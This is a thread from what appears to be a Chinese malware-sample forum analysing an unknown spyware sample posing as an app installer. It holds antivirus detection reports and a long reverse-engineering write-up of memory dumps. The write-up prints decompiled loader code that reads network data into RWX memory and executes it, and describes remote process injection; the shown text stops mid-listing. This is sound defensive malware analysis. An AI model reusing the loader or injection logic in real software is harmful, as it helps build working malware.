楼主: 神龟Turmi
收起左侧

[病毒样本] 未知Spyware #FakeAPP 1X

[复制链接]
驭龙
发表于 2025-10-19 20:11:18 | 显示全部楼层
神龟Turmi 发表于 2025-10-19 20:07
看起来是的,所以我想知道这是什么家族,结果研究了一个下午都没研究明白
(基本排除winos 排除原版gh0s ...

有可能是个大杂烩的大乱炖,集各家所长的矛盾集合体?哈哈
请叫我德玛西亚
发表于 2025-10-19 20:21:43 | 显示全部楼层
本帖最后由 请叫我德玛西亚 于 2025-10-19 20:24 编辑

瑞星esm 、奇安信天擎 kill

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
wwwab
发表于 2025-10-19 20:25:55 | 显示全部楼层
火绒内存扫描kill

  1. 病毒名称:Backdoor/Lotok.lg
  2. 病毒ID:FB6E538ADFC8E34D
  3. 虚拟地址:0x0000000010000000
  4. 映像大小:120KB
  5. 是否完整映像:否
  6. 数据流哈希:6f3475f0
  7. 操作结果:暂不处理
  8. 进程ID:7780
  9. 操作进程:C:\Users\PC\AppData\Local\Verifier.exe
  10. 操作进程命令行:C:\Users\PC\AppData\Local\Verifier.exe
  11. 父进程ID:7748
  12. 父进程:C:\Users\PC\Downloads\TS-251019-01\telcgrtup-xk_x64.6.1.3.9.exe
  13. 父进程命令行:"C:\Users\PC\Downloads\TS-251019-01\telcgrtup-xk_x64.6.1.3.9.exe"
复制代码


火绒提取出的内存转储如下:





又分析了一下。


regsvr32.exe(Memory):
样本 regsvr32.exe_ 是 32 位 PE(基址 0x10000000,大小 0x36000,MD5 102e4ae8b51110b38e5c059296c65943,SHA256 4d9eb46b40b6b9adf5d93eb864f2d0f6bc462fd23a7f3c9755fafcdc160e0798),伪装成 regsvr32.exe 但导入表为空,所有 API 通过自定义调度表手工解析,明显属于被修改的恶意构件。
• DllEntryPoint (0x1000895b) 内嵌 RC4-like 密钥调度及密文流处理(寄存器 %256 循环、交换表等),将全局缓冲区解密后通过 sub_10007E88 追加至动态结构,再调用 sub_10008BBE/sub_100039A2 清理,表明入口处已经承担第一阶段 payload 解密工作。
• 大型字符串表位于 .rdata 末段(如 0x10032000 起),包含 VirtualAlloc、GetProcAddress、CreateMutexA、WaitForSingleObject、CoCreateInstance 等几十个内核/COM API 名称;这些名称由 byte_10022001 附近的函数包装器逐项解析,使静态检测难以获取真实依赖。
• 关键加载逻辑在 sub_100025A1(未被正常引用但包含主流程):轮询全局数据 unk_10031B28/unk_1002B5DC,失败时调用 Sleep(3000) 重试;成功后通过 VirtualAlloc(…, 0x3000, 0x40) 分配 RWX 内存,借助 sub_1000BB80(memcpy)写入解密结果并直接当作函数指针执行,典型内存投递/反射式装载手法。
• 自定义 API 分发表 byte_10022001 内多段小序言(mov eax,<addr>; jmp 等),逐步填充自字符串表解析出的真实函数地址;整套机制绕过 IAT,结合 RC4 解密与内存执行,符合多阶段 loader 行为。

补充说明
• mcp_list_imports 返回空列表,说明正常导入被剥离;加上动态解析列表中含 ShellExecuteA、VirtualAllocEx、CreateToolhelp32Snapshot 等,潜在具备持久化与进程注入能力。
• 当前分析未解出 RC4 密钥及最终内存中第二阶段的真实内容;需后续还原 unk_10031B28 等配置块,或在沙箱下监控 VirtualAlloc 后的执行流,才能进一步确认具体目的(如木马回连、Credential Dump 等)。
• sub_100025A1 通过大量函数指针调用(偏移 0x403、0x407、0x427 等)访问操作系统 API,由于 IDA 未能自动识别交叉引用,请在调试中断于该函数,跟踪 byte_10022001 表填充过程,可快速映射真实 API 名称。

后续建议
• 继续在 IDA 中恢复 byte_10022001 调度表(可在运行时打断点观察解析出的函数地址),明确每个偏移对应的 WinAPI。
• 编写脚本重现 DllEntryPoint 的 RC4 解密逻辑,从 unk_10031B28 等段落提取并解密第二阶段,以便静态分析最终 payload。
• 将样本放入隔离沙箱运行,重点监控网络请求、注册表及进程注入行为,验证其 C2 或持久化特征。

  1. int sub_100025A1()
  2. {
  3.   int v0; // ebx
  4.   _DWORD *v1; // esi
  5.   int v2; // eax
  6.   int v3; // esi
  7.   int v4; // eax
  8.   int v5; // edi
  9.   int v6; // ebx
  10.   int v7; // eax
  11.   void (__stdcall *v8)(int, int, int); // esi
  12.   int v10; // [esp-18h] [ebp-1E0h]
  13.   int v11; // [esp-14h] [ebp-1DCh]
  14.   int v12; // [esp-10h] [ebp-1D8h]
  15.   int v13; // [esp+0h] [ebp-1C8h]
  16.   int v14; // [esp+0h] [ebp-1C8h]
  17.   int v15; // [esp+0h] [ebp-1C8h]
  18.   int v16; // [esp+0h] [ebp-1C8h]
  19.   int v17; // [esp+4h] [ebp-1C4h]
  20.   int v18; // [esp+4h] [ebp-1C4h]
  21.   int v19; // [esp+4h] [ebp-1C4h]
  22.   int v20; // [esp+4h] [ebp-1C4h]
  23.   int v21; // [esp+4h] [ebp-1C4h]
  24.   int v22; // [esp+4h] [ebp-1C4h]
  25.   int v23; // [esp+8h] [ebp-1C0h]
  26.   int v24; // [esp+8h] [ebp-1C0h]
  27.   int v25; // [esp+8h] [ebp-1C0h]
  28.   int v26; // [esp+8h] [ebp-1C0h]
  29.   int v27; // [esp+8h] [ebp-1C0h]
  30.   int v28; // [esp+8h] [ebp-1C0h]
  31.   int v29; // [esp+Ch] [ebp-1BCh]
  32.   int v30; // [esp+Ch] [ebp-1BCh]
  33.   int v31; // [esp+Ch] [ebp-1BCh]
  34.   int v32; // [esp+Ch] [ebp-1BCh]
  35.   int v33; // [esp+Ch] [ebp-1BCh]
  36.   int v34; // [esp+Ch] [ebp-1BCh]
  37.   int v35; // [esp+10h] [ebp-1B8h] BYREF
  38.   int v36; // [esp+14h] [ebp-1B4h]
  39.   int v37; // [esp+18h] [ebp-1B0h]
  40.   int v38; // [esp+1Ch] [ebp-1ACh]
  41.   int v39; // [esp+20h] [ebp-1A8h]
  42.   int v40; // [esp+24h] [ebp-1A4h]
  43.   int v41; // [esp+28h] [ebp-1A0h]
  44.   int v42; // [esp+2Ch] [ebp-19Ch]
  45.   int v43; // [esp+30h] [ebp-198h]
  46.   int v44; // [esp+34h] [ebp-194h]
  47.   int v45; // [esp+38h] [ebp-190h]
  48.   int v46; // [esp+3Ch] [ebp-18Ch]
  49.   int v47; // [esp+40h] [ebp-188h]
  50.   int v48; // [esp+44h] [ebp-184h]
  51.   int v49; // [esp+48h] [ebp-180h]
  52.   int v50; // [esp+4Ch] [ebp-17Ch]
  53.   int v51; // [esp+50h] [ebp-178h]
  54.   int v52; // [esp+54h] [ebp-174h]
  55.   int v53; // [esp+58h] [ebp-170h]
  56.   int v54; // [esp+5Ch] [ebp-16Ch]
  57.   int v55; // [esp+60h] [ebp-168h]
  58.   int v56; // [esp+64h] [ebp-164h]
  59.   int v57; // [esp+68h] [ebp-160h]
  60.   int v58; // [esp+6Ch] [ebp-15Ch]
  61.   int v59; // [esp+70h] [ebp-158h]
  62.   int v60; // [esp+74h] [ebp-154h]
  63.   int v61; // [esp+78h] [ebp-150h]
  64.   int v62; // [esp+7Ch] [ebp-14Ch]
  65.   int v63; // [esp+80h] [ebp-148h]
  66.   int v64; // [esp+84h] [ebp-144h]
  67.   int v65; // [esp+88h] [ebp-140h]
  68.   int v66; // [esp+8Ch] [ebp-13Ch]
  69.   int v67; // [esp+90h] [ebp-138h]
  70.   int v68; // [esp+94h] [ebp-134h]
  71.   int v69; // [esp+98h] [ebp-130h]
  72.   int v70; // [esp+9Ch] [ebp-12Ch]
  73.   int v71; // [esp+A0h] [ebp-128h]
  74.   int v72; // [esp+A4h] [ebp-124h]
  75.   int v73; // [esp+A8h] [ebp-120h]
  76.   int v74; // [esp+ACh] [ebp-11Ch]
  77.   int v75; // [esp+B0h] [ebp-118h]
  78.   int v76; // [esp+B4h] [ebp-114h]
  79.   int v77; // [esp+B8h] [ebp-110h]
  80.   int v78; // [esp+BCh] [ebp-10Ch]
  81.   int v79; // [esp+C0h] [ebp-108h]
  82.   int v80; // [esp+C4h] [ebp-104h]
  83.   int v81; // [esp+C8h] [ebp-100h]
  84.   int v82; // [esp+CCh] [ebp-FCh]
  85.   int v83; // [esp+D0h] [ebp-F8h]
  86.   int v84; // [esp+D4h] [ebp-F4h]
  87.   int v85; // [esp+D8h] [ebp-F0h]
  88.   int v86; // [esp+DCh] [ebp-ECh]
  89.   int v87[4]; // [esp+1A0h] [ebp-28h] BYREF
  90.   __int64 v88; // [esp+1B0h] [ebp-18h]
  91.   __int64 v89; // [esp+1B8h] [ebp-10h]
  92.   _DWORD *v90; // [esp+1C0h] [ebp-8h] BYREF
  93.   int v91; // [esp+1C4h] [ebp-4h]

  94.   v90 = 0;
  95.   v0 = -1;
  96.   v91 = -1;
  97.   ((void (__stdcall *)(int, int *, int, int, int, int))((char *)&byte_10022001 + 423))(514, &v35, v13, v17, v23, v29);
  98.   v87[0] = 0;
  99.   v88 = 0i64;
  100.   v89 = 0i64;
  101.   v87[1] = 2;
  102.   v87[2] = 1;
  103.   v87[3] = 6;
  104.   while ( 1 )
  105.   {
  106.     if ( !((int (__stdcall *)(void *, void *, int *, _DWORD **, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 419))(
  107.             &unk_10031B28,
  108.             &unk_1002B5DC,
  109.             v87,
  110.             &v90,
  111.             v14,
  112.             v18,
  113.             v24,
  114.             v30,
  115.             v35,
  116.             v36,
  117.             v37,
  118.             v38,
  119.             v39,
  120.             v40,
  121.             v41,
  122.             v42,
  123.             v43,
  124.             v44,
  125.             v45,
  126.             v46,
  127.             v47,
  128.             v48,
  129.             v49,
  130.             v50,
  131.             v51,
  132.             v52,
  133.             v53,
  134.             v54,
  135.             v55,
  136.             v56,
  137.             v57,
  138.             v58,
  139.             v59,
  140.             v60,
  141.             v61,
  142.             v62,
  143.             v63,
  144.             v64,
  145.             v65,
  146.             v66,
  147.             v67,
  148.             v68,
  149.             v69,
  150.             v70,
  151.             v71,
  152.             v72,
  153.             v73,
  154.             v74,
  155.             v75,
  156.             v76,
  157.             v77,
  158.             v78,
  159.             v79,
  160.             v80,
  161.             v81) )
  162.     {
  163.       v1 = v90;
  164.       if ( v90 )
  165.       {
  166.         do
  167.         {
  168.           v2 = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 407))(
  169.                  v1[1],
  170.                  v1[2],
  171.                  v1[3],
  172.                  v15,
  173.                  v19,
  174.                  v25,
  175.                  v31,
  176.                  v35,
  177.                  v36,
  178.                  v37,
  179.                  v38,
  180.                  v39,
  181.                  v40,
  182.                  v41,
  183.                  v42,
  184.                  v43,
  185.                  v44,
  186.                  v45,
  187.                  v46,
  188.                  v47,
  189.                  v48,
  190.                  v49,
  191.                  v50,
  192.                  v51,
  193.                  v52,
  194.                  v53,
  195.                  v54,
  196.                  v55,
  197.                  v56,
  198.                  v57,
  199.                  v58,
  200.                  v59,
  201.                  v60,
  202.                  v61,
  203.                  v62,
  204.                  v63,
  205.                  v64,
  206.                  v65,
  207.                  v66,
  208.                  v67,
  209.                  v68,
  210.                  v69,
  211.                  v70,
  212.                  v71,
  213.                  v72,
  214.                  v73,
  215.                  v74,
  216.                  v75,
  217.                  v76,
  218.                  v77,
  219.                  v78,
  220.                  v79,
  221.                  v80,
  222.                  v81,
  223.                  v82);
  224.           v0 = v2;
  225.           v91 = v2;
  226.           if ( v2 != -1 )
  227.           {
  228.             if ( ((int (__stdcall *)(int, _DWORD, _DWORD, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 403))(
  229.                    v2,
  230.                    v1[6],
  231.                    v1[4],
  232.                    v15,
  233.                    v19,
  234.                    v25,
  235.                    v31,
  236.                    v35,
  237.                    v36,
  238.                    v37,
  239.                    v38,
  240.                    v39,
  241.                    v40,
  242.                    v41,
  243.                    v42,
  244.                    v43,
  245.                    v44,
  246.                    v45,
  247.                    v46,
  248.                    v47,
  249.                    v48,
  250.                    v49,
  251.                    v50,
  252.                    v51,
  253.                    v52,
  254.                    v53,
  255.                    v54,
  256.                    v55,
  257.                    v56,
  258.                    v57,
  259.                    v58,
  260.                    v59,
  261.                    v60,
  262.                    v61,
  263.                    v62,
  264.                    v63,
  265.                    v64,
  266.                    v65,
  267.                    v66,
  268.                    v67,
  269.                    v68,
  270.                    v69,
  271.                    v70,
  272.                    v71,
  273.                    v72,
  274.                    v73,
  275.                    v74,
  276.                    v75,
  277.                    v76,
  278.                    v77,
  279.                    v78,
  280.                    v79,
  281.                    v80,
  282.                    v81,
  283.                    v82) != -1 )
  284.               break;
  285.             ((void (__stdcall *)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 427))(
  286.               v0,
  287.               v15,
  288.               v19,
  289.               v25,
  290.               v31,
  291.               v35,
  292.               v36,
  293.               v37,
  294.               v38,
  295.               v39,
  296.               v40,
  297.               v41,
  298.               v42,
  299.               v43,
  300.               v44,
  301.               v45,
  302.               v46,
  303.               v47,
  304.               v48,
  305.               v49,
  306.               v50,
  307.               v51,
  308.               v52,
  309.               v53,
  310.               v54,
  311.               v55,
  312.               v56,
  313.               v57,
  314.               v58,
  315.               v59,
  316.               v60,
  317.               v61,
  318.               v62,
  319.               v63,
  320.               v64,
  321.               v65,
  322.               v66,
  323.               v67,
  324.               v68,
  325.               v69,
  326.               v70,
  327.               v71,
  328.               v72,
  329.               v73,
  330.               v74,
  331.               v75,
  332.               v76,
  333.               v77,
  334.               v78,
  335.               v79,
  336.               v80,
  337.               v81,
  338.               v82,
  339.               v83,
  340.               v84);
  341.             v0 = -1;
  342.             v91 = -1;
  343.           }
  344.           v1 = (_DWORD *)v1[7];
  345.         }
  346.         while ( v1 );
  347.         v1 = v90;
  348.       }
  349.       ((void (__stdcall *)(_DWORD *, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 415))(
  350.         v1,
  351.         v15,
  352.         v19,
  353.         v25,
  354.         v31,
  355.         v35,
  356.         v36,
  357.         v37,
  358.         v38,
  359.         v39,
  360.         v40,
  361.         v41,
  362.         v42,
  363.         v43,
  364.         v44,
  365.         v45,
  366.         v46,
  367.         v47,
  368.         v48,
  369.         v49,
  370.         v50,
  371.         v51,
  372.         v52,
  373.         v53,
  374.         v54,
  375.         v55,
  376.         v56,
  377.         v57,
  378.         v58,
  379.         v59,
  380.         v60,
  381.         v61,
  382.         v62,
  383.         v63,
  384.         v64,
  385.         v65,
  386.         v66,
  387.         v67,
  388.         v68,
  389.         v69,
  390.         v70,
  391.         v71,
  392.         v72,
  393.         v73,
  394.         v74,
  395.         v75,
  396.         v76,
  397.         v77,
  398.         v78,
  399.         v79,
  400.         v80,
  401.         v81,
  402.         v82,
  403.         v83,
  404.         v84);
  405.       if ( v0 != -1 )
  406.         break;
  407.     }
  408.     ((void (__stdcall *)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 11))(
  409.       3000,
  410.       v15,
  411.       v19,
  412.       v25,
  413.       v31,
  414.       v35,
  415.       v36,
  416.       v37,
  417.       v38,
  418.       v39,
  419.       v40,
  420.       v41,
  421.       v42,
  422.       v43,
  423.       v44,
  424.       v45,
  425.       v46,
  426.       v47,
  427.       v48,
  428.       v49,
  429.       v50,
  430.       v51,
  431.       v52,
  432.       v53,
  433.       v54,
  434.       v55,
  435.       v56,
  436.       v57,
  437.       v58,
  438.       v59,
  439.       v60,
  440.       v61,
  441.       v62,
  442.       v63,
  443.       v64,
  444.       v65,
  445.       v66,
  446.       v67,
  447.       v68,
  448.       v69,
  449.       v70,
  450.       v71,
  451.       v72,
  452.       v73,
  453.       v74,
  454.       v75,
  455.       v76,
  456.       v77,
  457.       v78,
  458.       v79,
  459.       v80,
  460.       v81,
  461.       v82,
  462.       v83,
  463.       v84);
  464.   }
  465.   v3 = 4096;
  466.   v4 = sub_100107F3(4096);
  467.   v5 = 0;
  468. LABEL_12:
  469.   v6 = v4;
  470.   while ( 1 )
  471.   {
  472.     v7 = ((int (__stdcall *)(int, int, int, _DWORD, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 399))(
  473.            v91,
  474.            v5 + v6,
  475.            v3 - v5,
  476.            0,
  477.            v15,
  478.            v19,
  479.            v25,
  480.            v31,
  481.            v35,
  482.            v36,
  483.            v37,
  484.            v38,
  485.            v39,
  486.            v40,
  487.            v41,
  488.            v42,
  489.            v43,
  490.            v44,
  491.            v45,
  492.            v46,
  493.            v47,
  494.            v48,
  495.            v49,
  496.            v50,
  497.            v51,
  498.            v52,
  499.            v53,
  500.            v54,
  501.            v55,
  502.            v56,
  503.            v57,
  504.            v58,
  505.            v59,
  506.            v60,
  507.            v61,
  508.            v62,
  509.            v63,
  510.            v64,
  511.            v65,
  512.            v66,
  513.            v67,
  514.            v68,
  515.            v69,
  516.            v70,
  517.            v71,
  518.            v72,
  519.            v73,
  520.            v74,
  521.            v75,
  522.            v76,
  523.            v77,
  524.            v78,
  525.            v79,
  526.            v80,
  527.            v81);
  528.     if ( v7 <= 0 )
  529.       break;
  530.     v5 += v7;
  531.     if ( v5 == v3 )
  532.     {
  533.       v3 *= 2;
  534.       v4 = sub_1000F4F5(v6);
  535.       goto LABEL_12;
  536.     }
  537.   }
  538.   if ( v7 )
  539.   {
  540.     ((void (__stdcall *)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 427))(
  541.       v91,
  542.       v15,
  543.       v19,
  544.       v25,
  545.       v31,
  546.       v35,
  547.       v36,
  548.       v37,
  549.       v38,
  550.       v39,
  551.       v40,
  552.       v41,
  553.       v42,
  554.       v43,
  555.       v44,
  556.       v45,
  557.       v46,
  558.       v47,
  559.       v48,
  560.       v49,
  561.       v50,
  562.       v51,
  563.       v52,
  564.       v53,
  565.       v54,
  566.       v55,
  567.       v56,
  568.       v57,
  569.       v58,
  570.       v59,
  571.       v60,
  572.       v61,
  573.       v62,
  574.       v63,
  575.       v64,
  576.       v65,
  577.       v66,
  578.       v67,
  579.       v68,
  580.       v69,
  581.       v70,
  582.       v71,
  583.       v72,
  584.       v73,
  585.       v74,
  586.       v75,
  587.       v76,
  588.       v77,
  589.       v78,
  590.       v79,
  591.       v80,
  592.       v81,
  593.       v82,
  594.       v83,
  595.       v84);
  596.     ((void (__stdcall *)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 411))(
  597.       v16,
  598.       v22,
  599.       v28,
  600.       v34,
  601.       v35,
  602.       v36,
  603.       v37,
  604.       v38,
  605.       v39,
  606.       v40,
  607.       v41,
  608.       v42,
  609.       v43,
  610.       v44,
  611.       v45,
  612.       v46,
  613.       v47,
  614.       v48,
  615.       v49,
  616.       v50,
  617.       v51,
  618.       v52,
  619.       v53,
  620.       v54,
  621.       v55,
  622.       v56,
  623.       v57,
  624.       v58,
  625.       v59,
  626.       v60,
  627.       v61,
  628.       v62,
  629.       v63,
  630.       v64,
  631.       v65,
  632.       v66,
  633.       v67,
  634.       v68,
  635.       v69,
  636.       v70,
  637.       v71,
  638.       v72,
  639.       v73,
  640.       v74,
  641.       v75,
  642.       v76,
  643.       v77,
  644.       v78,
  645.       v79,
  646.       v80,
  647.       v81,
  648.       v82,
  649.       v83,
  650.       v84,
  651.       v85);
  652.     sub_1000FD3F(v6);
  653.     return 1;
  654.   }
  655.   else
  656.   {
  657.     ((void (__stdcall *)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 427))(
  658.       v91,
  659.       v15,
  660.       v19,
  661.       v25,
  662.       v31,
  663.       v35,
  664.       v36,
  665.       v37,
  666.       v38,
  667.       v39,
  668.       v40,
  669.       v41,
  670.       v42,
  671.       v43,
  672.       v44,
  673.       v45,
  674.       v46,
  675.       v47,
  676.       v48,
  677.       v49,
  678.       v50,
  679.       v51,
  680.       v52,
  681.       v53,
  682.       v54,
  683.       v55,
  684.       v56,
  685.       v57,
  686.       v58,
  687.       v59,
  688.       v60,
  689.       v61,
  690.       v62,
  691.       v63,
  692.       v64,
  693.       v65,
  694.       v66,
  695.       v67,
  696.       v68,
  697.       v69,
  698.       v70,
  699.       v71,
  700.       v72,
  701.       v73,
  702.       v74,
  703.       v75,
  704.       v76,
  705.       v77,
  706.       v78,
  707.       v79,
  708.       v80,
  709.       v81,
  710.       v82,
  711.       v83,
  712.       v84);
  713.     ((void (__stdcall *)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 411))(
  714.       v20,
  715.       v26,
  716.       v32,
  717.       v35,
  718.       v36,
  719.       v37,
  720.       v38,
  721.       v39,
  722.       v40,
  723.       v41,
  724.       v42,
  725.       v43,
  726.       v44,
  727.       v45,
  728.       v46,
  729.       v47,
  730.       v48,
  731.       v49,
  732.       v50,
  733.       v51,
  734.       v52,
  735.       v53,
  736.       v54,
  737.       v55,
  738.       v56,
  739.       v57,
  740.       v58,
  741.       v59,
  742.       v60,
  743.       v61,
  744.       v62,
  745.       v63,
  746.       v64,
  747.       v65,
  748.       v66,
  749.       v67,
  750.       v68,
  751.       v69,
  752.       v70,
  753.       v71,
  754.       v72,
  755.       v73,
  756.       v74,
  757.       v75,
  758.       v76,
  759.       v77,
  760.       v78,
  761.       v79,
  762.       v80,
  763.       v81,
  764.       v82,
  765.       v83,
  766.       v84,
  767.       v85,
  768.       v86);
  769.     v8 = (void (__stdcall *)(int, int, int))((int (__stdcall *)(_DWORD, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int))((char *)&byte_10022001 + 43))(
  770.                                               0,
  771.                                               v5,
  772.                                               12288,
  773.                                               64,
  774.                                               v21,
  775.                                               v27,
  776.                                               v33,
  777.                                               v35,
  778.                                               v36,
  779.                                               v37,
  780.                                               v38,
  781.                                               v39,
  782.                                               v40,
  783.                                               v41,
  784.                                               v42,
  785.                                               v43,
  786.                                               v44,
  787.                                               v45,
  788.                                               v46,
  789.                                               v47,
  790.                                               v48,
  791.                                               v49,
  792.                                               v50,
  793.                                               v51,
  794.                                               v52,
  795.                                               v53,
  796.                                               v54,
  797.                                               v55,
  798.                                               v56,
  799.                                               v57,
  800.                                               v58,
  801.                                               v59,
  802.                                               v60,
  803.                                               v61,
  804.                                               v62,
  805.                                               v63,
  806.                                               v64,
  807.                                               v65,
  808.                                               v66,
  809.                                               v67,
  810.                                               v68,
  811.                                               v69,
  812.                                               v70,
  813.                                               v71,
  814.                                               v72,
  815.                                               v73,
  816.                                               v74,
  817.                                               v75,
  818.                                               v76,
  819.                                               v77,
  820.                                               v78,
  821.                                               v79,
  822.                                               v80,
  823.                                               v81,
  824.                                               v82);
  825.     sub_1000BB80(v8, v6, v5);
  826.     v8(v10, v11, v12);
  827.     sub_1000FD3F(v6);
  828.     return 0;
  829.   }
  830. }
复制代码

核心功能推测
​1. 初始化连接​:
• 通过偏移地址调用函数(如byte_10022001 + 423),传递参数514(可能是端口或操作码)。
• 初始化结构体v87 = {0, 2, 1, 6}(可能代表协议类型或指令集)。
​2. 设备/连接枚举​:
• 循环调用byte_10022001 + 419遍历设备列表(v90链表结构)。
• 对每个设备尝试激活(byte_10022001 + 407)和连接(byte_10022001 + 403),成功则跳出循环。
​3. 数据读取​:
• 分配4096字节缓冲区(sub_100107F3)。
• 循环读取数据(byte_10022001 + 399),动态扩容缓冲区(sub_1000F4F5)。
• 若读取失败(v7 < 0),关闭连接返回错误(return 1)。
4. ​代码执行​:
• 成功读取数据后,分配可执行内存(12288 = MEM_COMMIT|MEM_RESERVE, 64 = PAGE_EXECUTE_READWRITE)。
• 复制数据到内存(sub_1000BB80)。
​• 直接执行内存中的代码​(v8(v10, v11, v12)),最后释放缓冲区(sub_1000FD3F)。
关键特征
​• 动态代码执行​:函数末尾将接收的数据作为代码执行,常见于恶意软件(Shellcode注入)等。
潜在风险
• 高危行为​:动态分配可执行内存并跳转执行(v8(...))是典型的安全漏洞利用/恶意代码特征。正常软件极少需要这种操作。
伪代码逻辑
  1. int sub_100025A1() {
  2.     // 初始化连接
  3.     init_connection(514, ...);
  4.    
  5.     // 枚举设备直到找到可用连接
  6.     while (true) {
  7.         devices = enum_devices();
  8.         for (device in devices) {
  9.             if (activate_device(device) && connect_device(device)) {
  10.                 handle = device.handle; // v91
  11.                 break;
  12.             }
  13.         }
  14.         if (handle != -1) break;
  15.         Sleep(3000); // 重试等待
  16.     }

  17.     // 动态读取数据
  18.     buffer = malloc(4096);
  19.     while ((bytes_read = read_data(handle, buffer)) > 0) {
  20.         total_size += bytes_read;
  21.         if (buffer_full) buffer = realloc(buffer*2);
  22.     }

  23.     if (read_error) {
  24.         close_connection();
  25.         return 1; // 失败
  26.     }

  27.     // 执行接收到的代码
  28.     exec_mem = VirtualAlloc(..., PAGE_EXECUTE_READWRITE);
  29.     memcpy(exec_mem, buffer, total_size);
  30.     ((void(*)(int,int,int))exec_mem)(arg1, arg2, arg3); // 危险操作
  31.     free(buffer);
  32.     return 0; // 成功
  33. }
复制代码

建议
​• 安全审查​:此代码行为高度可疑,需排查是否涉及未授权代码执行。


Verifier.exe(Memory):
发现要点  
• DllEntryPoint位于0x10003368处,会立即跳转至自定义运行时:分配临时缓冲区(sub_10002650/sub_10005210),通过sub_10002E10解压内嵌数据块,并通过sub_1000340A循环返回,表明这是一个分阶段加载器,且采用了激进的控制流混淆技术。  
• 所有Windows API均在运行时动态解析;没有导入表(mcp_list_imports返回为空)。加载器会遍历编码字符串表(参见sub_10002850、sub_10003540、sub_10003650),构造Unicode名称后传递给LoadLibraryExW/GetProcAddress。  
• 字符串池包含一组敏感API:进程枚举(CreateToolhelp32Snapshot、Process32FirstW/NextW)、远程内存操作(OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateThread)、互斥体/实例控制(CreateMutexA)、终端/会话发现(WTSGetActiveConsoleSessionId、AppPolicyGetProcessTerminationMethod)以及网络检查(GetTcpTable2)。这些组合强烈暗示了进程注入行为,并伴有主机/网络侦察功能。  
• sub_10003C7D中的初始化逻辑执行受保护的一次性设置(CreateMutexA、宽字符串比较),并在调用外部指针0x5E1C114后通过回调表分发,表明可能存在反射加载或与其他组件的集成。  

已观察到的能力  
• 可能枚举正在运行的进程,并使用Toolhelp快照选择目标。  
• 准备远程内存区域,通过VirtualAllocEx/WriteProcessMemory将有效负载写入其他进程,然后通过CreateThread启动执行。  
• 收集TCP连接数据(GetTcpTable2)和会话上下文,用于受害者指纹识别或横向移动决策。  
• 使用基于互斥体的单实例控制和加密配置数据块(大量非ASCII字符串字面量)来避免重复执行和静态分析。  

后续步骤  
• 1. 在调试器/沙箱中运行该DLL并启用API日志记录,以确认注入目标并捕获任何第二阶段有效负载。  
• 2. 提取并解码sub_10003C7D/sub_100077CD引用的配置数据块,以恢复C2端点或过滤规则。  
• 3. 在受控虚拟机中监控子进程或注入的线程,以观察持久化行为和网络IOC。


sub_10002040(位于0x10002040)是执行整个序列的例程:它调用sub_10010024(..., 0, 0x1000, 0x3000, 0x4)来封装VirtualAllocEx,紧接着调用sub_10010098封装WriteProcessMemory,一旦有效载荷和簿记数据准备就绪,它便通过sub_10010020获取线程创建指针并调用该指针以在远程进程中启动执行。

  1. char __fastcall sub_10002040(int a1, int a2)
  2. {
  3.   int v2; // edi
  4.   int v3; // ebx
  5.   int v4; // eax
  6.   int *v5; // edi
  7.   char *v6; // esi
  8.   char *v7; // eax
  9.   int v8; // edx
  10.   unsigned int v9; // ecx
  11.   int v10; // esi
  12.   int v11; // edx
  13.   int v12; // eax
  14.   void (__stdcall *v13)(int, int, _DWORD, _DWORD, _DWORD); // eax
  15.   int v15[4]; // [esp+10h] [ebp-34h] BYREF
  16.   unsigned int v16; // [esp+20h] [ebp-24h]
  17.   unsigned int v17; // [esp+24h] [ebp-20h]
  18.   __int64 v18; // [esp+28h] [ebp-1Ch] BYREF
  19.   int v19; // [esp+34h] [ebp-10h]
